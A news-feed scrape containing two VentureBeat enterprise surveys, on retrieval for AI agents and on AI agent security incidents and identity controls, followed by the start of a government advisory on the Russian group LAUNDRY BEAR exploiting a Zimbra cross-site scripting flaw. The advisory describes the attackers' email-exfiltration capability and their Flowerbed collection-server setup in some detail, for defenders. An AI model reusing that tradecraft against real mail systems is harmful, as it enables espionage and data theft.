The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

]]> <![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]> https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/ https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/ Thu, 23 Jul 2026 19:19:41 +0200 📰 IT Nachrichten tsecurity.de Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.

This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.

The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.

What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.

Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.

Finding 1: The incidents are already here

More than half have had an agent security incident or near-miss

We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.

This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.

Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.

Finding 2: The identity gap

Only a third give every agent its own scoped identity

We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.

Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.)

The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.

Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.

Finding 3: Observe and enforce, but rarely isolate

Only three in 10 sandbox their highest-risk agents

We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.

Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.

Finding 4: Security runs on borrowed, provider-native controls

Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register

We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.

Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.

The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.

(A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)

Finding 5: And enterprises are comfortable with it

Satisfaction is high, even as incidents mount and identity lags

We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.

Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.

Finding 6: Budgets haven’t caught up

Most spend under a tenth of the security budget on agents

We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.

Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.

Finding 7: The arms race is even, at best

Only a third think their AI defenses are ahead of AI-enabled attackers

We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.

Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.

Finding 8: A security reshuffle is coming

Nearly six in 10 plan to adopt or switch tooling within a year

We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.

The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle.

Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.

The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. 

What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.

The bottom line: A security gap that autonomy will test first

Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.

The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.

Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.

]]> <![CDATA[China-Nexus JadeProx Uses New TriBack Loader in Government and Healthcare Attacks]]> https://tsecurity.de/de/3689488/it-security-nachrichten/china-nexus-jadeprox-uses-new-triback-loader-in-government-and-healthcare-attacks/ https://tsecurity.de/de/3689488/it-security-nachrichten/china-nexus-jadeprox-uses-new-triback-loader-in-government-and-healthcare-attacks/ Thu, 23 Jul 2026 17:24:31 +0200 📰 IT Security Nachrichten tsecurity.de An exposed Alibaba Cloud server has revealed a China-nexus operation that Group-IB tracks as JadeProx. The cluster has targeted government, healthcare, and education organizations across Asia and Latin America with a previously undocumented Windows loader called TriBack Loader. Group-IB found


Read more →

The post China-Nexus JadeProx Uses New TriBack Loader in Government and Healthcare Attacks appeared first on IT Security News.

]]> <![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]> https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ Thu, 23 Jul 2026 16:59:29 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary 

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

  • United States National Security Agency (NSA)
  • United States Federal Bureau of Investigation (FBI)
  • Netherlands Defence Intelligence and Security Service (MIVD)
  • Netherlands General Intelligence and Security Service (AIVD)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Defense Counterintelligence and Security Agency (DCSA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Department of the Treasury
  • United States Naval Criminal Investigative Service (NCIS)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)1
  • Danish Defence Intelligence Service (DDIS)2
  • Estonian Foreign Intelligence Service (EFIS)3
  • Finnish Defence Intelligence (FDI)4
  • Finnish Security and Intelligence Service (SUPO)5
  • French General Directorate for Internal Security (DGSI)6
  • French National Cybersecurity Agency (ANSSI)7
  • Italian External Intelligence and Security Agency (AISE)8
  • Italian Internal Intelligence and Security Agency (AISI)9
  • Security and Intelligence Service of the Republic of Moldova (SIS RM)10
  • Polish Foreign Intelligence Agency (AW)11
  • The Military Counterintelligence Service of Poland (SKW)12
  • Spain National Intelligence Centre (CNI)13
  • Sweden National Cyber Security Centre (NCSC-SE)14

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

  • LAUNDRY BEAR
  • Void Blizzard [2]
  • CL-STA-1114 [3]
  • TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named â€œĐŁĐ»Đ”Đč” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

  • Last 90 days of emails,
  • Email address,
  • Password [T1589.001],
  • Global Address List (GAL) [T1087],
  • Two-factor authentication (2FA) tokens, and
  • Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

  • the Defense Industrial Base (DIB),  
  • the federal and local government,
  • education,
  • energy,
  • law enforcement,  
  • media,  
  • non-governmental organizations, and
  • technology.

Technical details

Note: This advisory uses the MITRE ATT&CK¼ Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FENDTM version 1.4.015. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

  • Catcher,
  • Certbot,
  • Nginx, and
  • Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

